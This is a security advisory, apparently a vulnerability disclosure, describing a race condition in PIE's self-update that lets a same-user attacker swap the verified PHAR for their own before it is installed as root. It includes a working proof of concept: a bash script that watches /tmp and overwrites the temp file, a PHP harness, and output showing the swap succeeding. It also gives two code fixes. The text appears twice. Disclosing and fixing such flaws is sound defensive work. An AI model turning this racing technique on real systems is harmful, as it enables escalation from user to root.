Summary
pie self-update downloads a candidate PHAR to a tempnam-allocated path under sys_get_temp_dir(), hashes it once into BinaryFile::checksum, runs attestation verification, then calls file_get_contents on the same path to obtain the bytes it sudo-writes to /usr/local/bin/pie (or wherever the running PHAR lives). The bytes verified and the bytes installed come from two independent disk reads with no buffer carried across. A same-UID attacker who watches sys_get_temp_dir() for pie_self_update_* and overwrites the file between the two reads pivots their user-level access into root code execution. PIE's sudo prompt looks normal, the user types their password, and attacker bytes become the running PIE PHAR.
The sink is SudoFilePut::contents($fullPathToSelf, file_get_contents($pharFilename->filePath)) at src/Command/SelfUpdateCommand.php:185. The verifier's contract is "the bytes at this path matched a php/pie attestation," but PIE re-reads the path after the contract is satisfied, voiding it.
The OpenSSL fallback widens the window further. VerifyAttestationWithOpenSsl::assertDigestFromAttestationMatchesActual compares the DSSE subject digest against $file->checksum(), the cached checksum from download time, and never re-reads the file. Under the OpenSSL fallback, the verifier opens no fd at all on the temp path, so the race window stretches from the end of downloadContent to the file_get_contents at :185.
Details
The verified path is re-read, not cached
SelfUpdateCommand::execute at src/Command/SelfUpdateCommand.php:158-185:
$pharFilename = $fetchLatestPieRelease->downloadContent($latestRelease);
// ...
try {
$verifyPiePhar->verify($latestRelease, $pharFilename, $this->io);
} catch (FailedToVerifyRelease $failedToVerifyRelease) {
// ...abort
}
// ...
SudoFilePut::contents($fullPathToSelf, file_get_contents($pharFilename->filePath));
$pharFilename is a BinaryFile, an immutable {filePath, checksum} pair. After verification returns, the bytes PIE installs come from a fresh file_get_contents against filePath, with no comparison against the contents that produced checksum.
Where the bytes get written from disk
FetchPieReleaseFromGitHub::downloadContent at src/SelfManage/Update/FetchPieReleaseFromGitHub.php:117-147:
$tempPharFilename = tempnam(sys_get_temp_dir(), 'pie_self_update_');
try {
file_put_contents($tempPharFilename, $pharContent);
} catch (FilesystemException $previous) {
throw new RuntimeException(...);
}
return BinaryFile::fromFileWithSha256Checksum($tempPharFilename);
BinaryFile::fromFileWithSha256Checksum at src/File/BinaryFile.php:33:
return new self(
$filePath,
hash_file(self::HASH_TYPE_SHA256, $filePath),
);
Read # 1 of the file content happens inside hash_file here. The returned BinaryFile carries the path and the hash-at-the-time-of-download. Neither the bytes nor an open fd survive past this call.
What each verifier does on the file
VerifyPieReleaseUsingAttestation::verify dispatches to GithubCliAttestationVerification first and falls back to FallbackVerificationUsingOpenSsl if gh is absent (src/SelfManage/Verify/VerifyPieReleaseUsingAttestation.php:32-45).
The gh path, src/SelfManage/Verify/GithubCliAttestationVerification.php:48-54:
$verificationCommand = [
$gh,
self::GH_ATTESTATION_COMMAND,
'verify',
'--owner=php',
$pharFilename->filePath,
];
Process::run($verificationCommand);
gh attestation verify re-opens $pharFilename->filePath from disk, hashes it, and checks the hash against a php/pie attestation pulled from api.github.com. Read # 2 of the file content happens inside the gh subprocess. PHP does not hold an fd across the call.
The OpenSSL path, src/SelfManage/Verify/FallbackVerificationUsingOpenSsl.php:45-51:
$this->verifyAttestation->verify(
FilenameWithChecksum::fromFilenameAndChecksum($pharFilename->filePath, $pharFilename->checksum),
self::ORGANISATION,
self::ARTIFACT_FILENAME,
self::ATTESTATION_CERTIFICATE_EXPECTED_EXTENSION_VALUES,
);
The upstream VerifyAttestationWithOpenSsl at vendor/thephpf/attestation/src/Verification/VerifyAttestationWithOpenSsl.php:287-315:
private function assertDigestFromAttestationMatchesActual(FilenameWithChecksum $file, string $expectedSubjectName, Attestation $attestation): void
{
// ...DSSE payload decoding...
$expected = $file->checksum();
$actual = $decodedPayload['subject'][0]['digest']['sha256'];
if (! hash_equals($expected, $actual)) {
throw DigestMismatch::fromChecksumMismatch($expected, $actual);
}
}
$file->checksum() returns the value PIE captured at download time. The OpenSSL path never opens the file. Its only reference to the bytes is via the pre-computed checksum.
Where the race window ends
SelfUpdateCommand.php:185 issues file_get_contents($pharFilename->filePath). This is read # 2 (gh path) or the only file read since download (OpenSSL path). The buffer returned by this call is what SudoFilePut::contents writes via sudo mv.
SudoFilePut::writeWithSudo at src/File/SudoFilePut.php:44-63:
private static function writeWithSudo(string $filename, string $content): void
{
$tempFilename = tempnam(sys_get_temp_dir(), 'pie_tmp_');
file_put_contents($tempFilename, $content);
if (file_exists($filename)) {
self::copyOwnership($filename, $tempFilename);
}
Process::run([Sudo::find(), 'mv', $tempFilename, $filename], timeout: Process::SHORT_TIMEOUT);
}
$content is whatever file_get_contents returned at :185. The sudo mv installs it. There is no second verification, no checksum recomputation, no diff against $pharFilename->checksum.
Race window measurement
Two windows matter:
gh path: from gh attestation verify returning to file_get_contents at :185. The gh subprocess teardown alone is on the order of tens of milliseconds; the PHP code between the two sites is a few statements. Practical window: 50–200 ms.
- OpenSSL path: from
BinaryFile::fromFileWithSha256Checksum returning at the end of downloadContent to file_get_contents at :185. Includes the full HTTPS round-trip to api.github.com (DNS, TLS, request), certificate-chain walk against the bundled Sigstore trusted root (thousands of lines of PHP, multiple openssl_x509_parse calls), and OpenSSL signature verification. Practical window: 200–1500 ms.
Either window is large enough that a busy-poll on sys_get_temp_dir() lands inside it on the first attempt. The PoC below measures 85 ms detection and 167 ms strike against a 200 ms modeled verify.
Attacker's tempfile-detection primitive
tempnam(sys_get_temp_dir(), 'pie_self_update_') creates a file mode 0600. On Linux, /tmp itself is mode 1777 (world-listable, sticky-bit deletes). Same-UID attackers (any other process running as the user who invoked pie self-update) can ls /tmp/pie_self_update_*, watch with inotify, and write to the file. The 0600 mode blocks cross-UID tampering; same-UID is the assumed primitive.
Cross-UID attackers can still detect the filename via ls but cannot write to a 0600 file owned by another UID. Sticky-bit on /tmp blocks cross-UID unlink as well. So the practical entry point is "already have user-level code execution as the invoking user."
PoC
The PoC runs the real PIE classes (FetchPieReleaseFromGitHub::downloadContent and SudoFilePut::contents) against pinned commit 5c3fa89c5f63728f60fda04756b4044c01855ff7. Only two boundaries are stubbed: HttpDownloader::get returns canned "release bytes" so the harness doesn't hit api.github.com, and VerifyPiePhar::verify is replaced with a stub that sleeps to model real verify latency. The bug under test is independent of what verify does. It's the disk re-read at :185.
Two processes:
victim-real.php mimics SelfUpdateCommand::execute:158-185 against PIE's classes.
attacker.sh busy-polls sys_get_temp_dir(), detects the pie_self_update_* file, waits 80 ms (well inside the 200 ms modeled verify window), and overwrites it.
/tmp/pie-poc-002/victim-real.php:
<?php
declare(strict_types=1);
require '/home/ilia/ai/php-sec/audits/pie/vendor/autoload.php';
use Composer\IO\NullIO;
use Composer\Util\HttpDownloader;
use Composer\Util\Http\Response;
use Php\Pie\File\BinaryFile;
use Php\Pie\File\SudoFilePut;
use Php\Pie\SelfManage\Update\FetchPieReleaseFromGitHub;
use Php\Pie\SelfManage\Update\ReleaseMetadata;
use Php\Pie\SelfManage\Verify\VerifyPiePhar;
$legitBytes = "PIE-LEGIT-BYTES-" . str_repeat("L", 64);
$http = new class ($legitBytes) extends HttpDownloader {
public function __construct(private readonly string $body) {}
public function get($fileUrl, $options = []): Response
{
return new Response(['url' => $fileUrl], 200, [], $this->body);
}
};
$fetcher = new FetchPieReleaseFromGitHub('https://api.github.com', $http);
$release = new ReleaseMetadata('vfake', 'https://example.invalid/pie.phar');
$pharFilename = $fetcher->downloadContent($release);
fprintf(STDERR, "[victim] BinaryFile::checksum = %s\n", $pharFilename->checksum);
$verifier = new class implements VerifyPiePhar {
public function verify(ReleaseMetadata $r, BinaryFile $f, \Composer\IO\IOInterface $io): void
{
usleep(200_000); // model verify latency (gh: ~500–2000 ms, openssl: ~200–1500 ms)
}
};
$verifier->verify($release, $pharFilename, new NullIO());
$installedPath = '/tmp/pie-poc-002/installed-real-pie.phar';
file_put_contents($installedPath, '');
SudoFilePut::contents(
$installedPath,
file_get_contents($pharFilename->filePath), // SelfUpdateCommand.php:185
);
$installedChecksum = hash('sha256', file_get_contents($installedPath));
if (! hash_equals($pharFilename->checksum, $installedChecksum)) {
fprintf(STDERR, "[victim] ATTACK SUCCESS — installed sha256:%s ≠ verified sha256:%s\n",
$installedChecksum, $pharFilename->checksum);
exit(2);
}
fprintf(STDERR, "[victim] OK\n");
/tmp/pie-poc-002/attacker.sh:
#!/usr/bin/env bash
set -eu
declare -A preexisting=()
for f in /tmp/pie_self_update_*; do
[ -e "$f" ] || continue
preexisting["$f"]=1
done
target=""
while :; do
for f in /tmp/pie_self_update_*; do
[ -e "$f" ] || continue
if [ -z "${preexisting[$f]:-}" ]; then
target="$f"
break 2
fi
done
sleep 0.001
done
sleep 0.08 # strike 80 ms into the 200 ms verify window
printf 'PIE-ATTACKER-PAYLOAD-%s' "$(printf 'X%.0s' {1..40})" > "$target"
Run:
rm -f /tmp/pie_self_update_*
/tmp/pie-poc-002/attacker.sh > /tmp/pie-poc-002/attacker.log 2>&1 &
sleep 0.05
php /tmp/pie-poc-002/victim-real.php
cat /tmp/pie-poc-002/attacker.log
Observed output:
[victim] BinaryFile::checksum = 92a174cc297694258d9a5bba98eabd350c1e1d3ccbbcf58697d316cf3c5bb977
[victim] ATTACK SUCCESS — installed sha256:620896866698994b16feac4fddbe1cb7378a3ebaf3feb98902af50cf8bd88b9b ≠ verified sha256:92a174cc297694258d9a5bba98eabd350c1e1d3ccbbcf58697d316cf3c5bb977
[attacker] Detected target /tmp/pie_self_update_atnkgjanjp3icczm9o6 after 85 ms
[attacker] Overwrote /tmp/pie_self_update_atnkgjanjp3icczm9o6 with attacker bytes after 167 ms
The PoC installs to a user-writable path so SudoFilePut takes the direct-write branch and the demonstration needs no sudo prompt. In real PIE, $fullPathToSelf resolves to the running PHAR path (typically /usr/local/bin/pie, root-owned), and SudoFilePut::contents falls through to writeWithSudo at :44. The buffer passed to that method is the same buffer the harness shows above (attacker bytes), and Process::run([Sudo::find(), 'mv', $tempFilename, $filename]) installs them as root.
Verified on:
| PIE |
PHP |
OS |
Outcome |
commit 5c3fa89c5f63728f60fda04756b4044c01855ff7 (1.5.x) |
8.4.21 (NTS) |
Linux x86_64 (WSL2) |
yes (race lands deterministically inside 200 ms window) |
| 1.4.4 release tag |
(verify→read code path identical) |
n/a |
yes (by code inspection) |
Impact
Vulnerability class: TOCTOU privilege-boundary violation; user → root code execution via the trusted self-update flow.
Capability granted: A same-UID attacker (already at user-level code execution: a malicious dev dependency, a poisoned ~/.config/composer/auth.json plugin path, an editor extension, a desktop autorun, etc.) becomes root code execution at the next pie self-update. The attacker doesn't need to be running at the moment the user invokes self-update. They only need a small watcher process or systemd user unit alive when it happens.
Chain: Most real-world LPE chains stop at "user-level code execution" because the OS draws a clean line between user and root. PIE provides a bridge: the user trusts PIE, PIE prompts for sudo, sudo trusts the user, and PIE installs whatever bytes the second disk read returned. With this bug, anything that lets an attacker run as the invoking user can chain into root.
Affected versions: All PIE releases through 1.4.4 and the 1.5.x development branch up to commit 5c3fa89c5f63728f60fda04756b4044c01855ff7. The verify→read pattern has been in SelfUpdateCommand since the self-update path landed; no prior fix exists.
Affected configurations: Default. Triggered by pie self-update (any channel). The gh path is the typical configuration when GitHub CLI is installed; the OpenSSL fallback fires when gh is absent and exposes the wider race window. Nightly channel is identical; the URL is fixed but the disk-read pattern is the same.
Affected users:
- Any developer with PIE installed system-wide (the documented and recommended deployment) who runs
pie self-update.
- CI environments running PIE as root: not affected by THIS bug (cross-UID
/tmp write is blocked by 0600 mode + sticky bit). Same-UID code execution there is already root, no escalation needed.
- Multi-user shared hosts where one user has sudo access and runs PIE: affected if any other process the user controls (background daemons, editor servers, shell-history-driven aliases) is compromised.
Required user action: Run pie self-update. Type the sudo password at the prompt. The prompt is indistinguishable from a normal self-update flow because verification succeeded against bytes that have since been overwritten.
Fix direction
The fix is to eliminate the read-twice pattern. Either of these closes the primitive:
-
Read once, verify the buffer, write the buffer. Change the verifier API to accept bytes rather than a path:
$pharFilename = $fetchLatestPieRelease->downloadContent($latestRelease);
$bytes = file_get_contents($pharFilename->filePath);
if (! hash_equals(hash('sha256', $bytes), $pharFilename->checksum)) {
throw new RuntimeException('Download corrupted or tampered');
}
$verifyPiePhar->verify($latestRelease, $pharFilename, $this->io);
SudoFilePut::contents($fullPathToSelf, $bytes);
The verifier still uses $pharFilename->checksum (which is now anchored to $bytes, not to a disk read). SudoFilePut::contents writes $bytes, not a fresh file_get_contents. There is no on-disk window to race.
-
Re-verify the buffer at the write site. Less invasive on the verifier API:
$verifyPiePhar->verify($latestRelease, $pharFilename, $this->io);
$bytes = file_get_contents($pharFilename->filePath);
if (! hash_equals(hash('sha256', $bytes), $pharFilename->checksum)) {
unlink($pharFilename->filePath);
throw new RuntimeException(
'PHAR contents changed after verification; aborting self-update'
);
}
SudoFilePut::contents($fullPathToSelf, $bytes);
This still has a hash recompute, but the recompute proves the bytes-to-be-installed are the bytes-that-were-verified. The race window between hash recompute and write is bounded by hash+SudoFilePut::writeWithSudo, both in-process; no further disk read happens.
As independent hardening, narrow the tempnam directory. Today sys_get_temp_dir() defaults to /tmp, world-readable. A self-update-only temp directory under PIE's working directory (default ~/.pie, mode 0700) removes the cross-process listability of the candidate filename and forces the attacker to enumerate the home directory instead. Doesn't close the same-UID primitive, but raises the bar for "lurking watchers."
Apply the same read-once pattern wherever PIE re-reads a verified file later in the same flow. A grep for BinaryFile::filePath followed by a separate file_get_contents/file_exists on the same path is the canary.
Summary
pie self-updatedownloads a candidate PHAR to atempnam-allocated path undersys_get_temp_dir(), hashes it once intoBinaryFile::checksum, runs attestation verification, then callsfile_get_contentson the same path to obtain the bytes it sudo-writes to/usr/local/bin/pie(or wherever the running PHAR lives). The bytes verified and the bytes installed come from two independent disk reads with no buffer carried across. A same-UID attacker who watchessys_get_temp_dir()forpie_self_update_*and overwrites the file between the two reads pivots their user-level access into root code execution. PIE's sudo prompt looks normal, the user types their password, and attacker bytes become the running PIE PHAR.The sink is
SudoFilePut::contents($fullPathToSelf, file_get_contents($pharFilename->filePath))atsrc/Command/SelfUpdateCommand.php:185. The verifier's contract is "the bytes at this path matched aphp/pieattestation," but PIE re-reads the path after the contract is satisfied, voiding it.The OpenSSL fallback widens the window further.
VerifyAttestationWithOpenSsl::assertDigestFromAttestationMatchesActualcompares the DSSE subject digest against$file->checksum(), the cached checksum from download time, and never re-reads the file. Under the OpenSSL fallback, the verifier opens no fd at all on the temp path, so the race window stretches from the end ofdownloadContentto thefile_get_contentsat:185.Details
The verified path is re-read, not cached
SelfUpdateCommand::executeatsrc/Command/SelfUpdateCommand.php:158-185:$pharFilenameis aBinaryFile, an immutable{filePath, checksum}pair. After verification returns, the bytes PIE installs come from a freshfile_get_contentsagainstfilePath, with no comparison against the contents that producedchecksum.Where the bytes get written from disk
FetchPieReleaseFromGitHub::downloadContentatsrc/SelfManage/Update/FetchPieReleaseFromGitHub.php:117-147:BinaryFile::fromFileWithSha256Checksumatsrc/File/BinaryFile.php:33:Read # 1 of the file content happens inside
hash_filehere. The returnedBinaryFilecarries the path and the hash-at-the-time-of-download. Neither the bytes nor an open fd survive past this call.What each verifier does on the file
VerifyPieReleaseUsingAttestation::verifydispatches toGithubCliAttestationVerificationfirst and falls back toFallbackVerificationUsingOpenSslifghis absent (src/SelfManage/Verify/VerifyPieReleaseUsingAttestation.php:32-45).The
ghpath,src/SelfManage/Verify/GithubCliAttestationVerification.php:48-54:gh attestation verifyre-opens$pharFilename->filePathfrom disk, hashes it, and checks the hash against aphp/pieattestation pulled fromapi.github.com. Read # 2 of the file content happens inside theghsubprocess. PHP does not hold an fd across the call.The OpenSSL path,
src/SelfManage/Verify/FallbackVerificationUsingOpenSsl.php:45-51:The upstream
VerifyAttestationWithOpenSslatvendor/thephpf/attestation/src/Verification/VerifyAttestationWithOpenSsl.php:287-315:$file->checksum()returns the value PIE captured at download time. The OpenSSL path never opens the file. Its only reference to the bytes is via the pre-computed checksum.Where the race window ends
SelfUpdateCommand.php:185issuesfile_get_contents($pharFilename->filePath). This is read # 2 (gh path) or the only file read since download (OpenSSL path). The buffer returned by this call is whatSudoFilePut::contentswrites viasudo mv.SudoFilePut::writeWithSudoatsrc/File/SudoFilePut.php:44-63:$contentis whateverfile_get_contentsreturned at:185. Thesudo mvinstalls it. There is no second verification, no checksum recomputation, no diff against$pharFilename->checksum.Race window measurement
Two windows matter:
ghpath: fromgh attestation verifyreturning tofile_get_contentsat:185. Theghsubprocess teardown alone is on the order of tens of milliseconds; the PHP code between the two sites is a few statements. Practical window: 50–200 ms.BinaryFile::fromFileWithSha256Checksumreturning at the end ofdownloadContenttofile_get_contentsat:185. Includes the full HTTPS round-trip toapi.github.com(DNS, TLS, request), certificate-chain walk against the bundled Sigstore trusted root (thousands of lines of PHP, multipleopenssl_x509_parsecalls), and OpenSSL signature verification. Practical window: 200–1500 ms.Either window is large enough that a busy-poll on
sys_get_temp_dir()lands inside it on the first attempt. The PoC below measures 85 ms detection and 167 ms strike against a 200 ms modeled verify.Attacker's tempfile-detection primitive
tempnam(sys_get_temp_dir(), 'pie_self_update_')creates a file mode 0600. On Linux,/tmpitself is mode 1777 (world-listable, sticky-bit deletes). Same-UID attackers (any other process running as the user who invokedpie self-update) canls /tmp/pie_self_update_*, watch with inotify, and write to the file. The 0600 mode blocks cross-UID tampering; same-UID is the assumed primitive.Cross-UID attackers can still detect the filename via
lsbut cannot write to a 0600 file owned by another UID. Sticky-bit on/tmpblocks cross-UIDunlinkas well. So the practical entry point is "already have user-level code execution as the invoking user."PoC
The PoC runs the real PIE classes (
FetchPieReleaseFromGitHub::downloadContentandSudoFilePut::contents) against pinned commit5c3fa89c5f63728f60fda04756b4044c01855ff7. Only two boundaries are stubbed:HttpDownloader::getreturns canned "release bytes" so the harness doesn't hitapi.github.com, andVerifyPiePhar::verifyis replaced with a stub that sleeps to model real verify latency. The bug under test is independent of whatverifydoes. It's the disk re-read at:185.Two processes:
victim-real.phpmimicsSelfUpdateCommand::execute:158-185against PIE's classes.attacker.shbusy-pollssys_get_temp_dir(), detects thepie_self_update_*file, waits 80 ms (well inside the 200 ms modeled verify window), and overwrites it./tmp/pie-poc-002/victim-real.php:/tmp/pie-poc-002/attacker.sh:Run:
Observed output:
The PoC installs to a user-writable path so
SudoFilePuttakes the direct-write branch and the demonstration needs no sudo prompt. In real PIE,$fullPathToSelfresolves to the running PHAR path (typically/usr/local/bin/pie, root-owned), andSudoFilePut::contentsfalls through towriteWithSudoat:44. The buffer passed to that method is the same buffer the harness shows above (attacker bytes), andProcess::run([Sudo::find(), 'mv', $tempFilename, $filename])installs them as root.Verified on:
5c3fa89c5f63728f60fda04756b4044c01855ff7(1.5.x)Impact
Vulnerability class: TOCTOU privilege-boundary violation; user → root code execution via the trusted self-update flow.
Capability granted: A same-UID attacker (already at user-level code execution: a malicious dev dependency, a poisoned
~/.config/composer/auth.jsonplugin path, an editor extension, a desktop autorun, etc.) becomes root code execution at the nextpie self-update. The attacker doesn't need to be running at the moment the user invokesself-update. They only need a small watcher process or systemd user unit alive when it happens.Chain: Most real-world LPE chains stop at "user-level code execution" because the OS draws a clean line between user and root. PIE provides a bridge: the user trusts PIE, PIE prompts for sudo, sudo trusts the user, and PIE installs whatever bytes the second disk read returned. With this bug, anything that lets an attacker run as the invoking user can chain into root.
Affected versions: All PIE releases through
1.4.4and the1.5.xdevelopment branch up to commit5c3fa89c5f63728f60fda04756b4044c01855ff7. The verify→read pattern has been inSelfUpdateCommandsince the self-update path landed; no prior fix exists.Affected configurations: Default. Triggered by
pie self-update(any channel). Theghpath is the typical configuration when GitHub CLI is installed; the OpenSSL fallback fires whenghis absent and exposes the wider race window. Nightly channel is identical; the URL is fixed but the disk-read pattern is the same.Affected users:
pie self-update./tmpwrite is blocked by 0600 mode + sticky bit). Same-UID code execution there is already root, no escalation needed.Required user action: Run
pie self-update. Type the sudo password at the prompt. The prompt is indistinguishable from a normal self-update flow because verification succeeded against bytes that have since been overwritten.Fix direction
The fix is to eliminate the read-twice pattern. Either of these closes the primitive:
Read once, verify the buffer, write the buffer. Change the verifier API to accept bytes rather than a path:
The verifier still uses
$pharFilename->checksum(which is now anchored to$bytes, not to a disk read).SudoFilePut::contentswrites$bytes, not a freshfile_get_contents. There is no on-disk window to race.Re-verify the buffer at the write site. Less invasive on the verifier API:
This still has a hash recompute, but the recompute proves the bytes-to-be-installed are the bytes-that-were-verified. The race window between hash recompute and write is bounded by
hash+SudoFilePut::writeWithSudo, both in-process; no further disk read happens.As independent hardening, narrow the tempnam directory. Today
sys_get_temp_dir()defaults to/tmp, world-readable. A self-update-only temp directory under PIE's working directory (default~/.pie, mode 0700) removes the cross-process listability of the candidate filename and forces the attacker to enumerate the home directory instead. Doesn't close the same-UID primitive, but raises the bar for "lurking watchers."Apply the same read-once pattern wherever PIE re-reads a verified file later in the same flow. A grep for
BinaryFile::filePathfollowed by a separatefile_get_contents/file_existson the same path is the canary.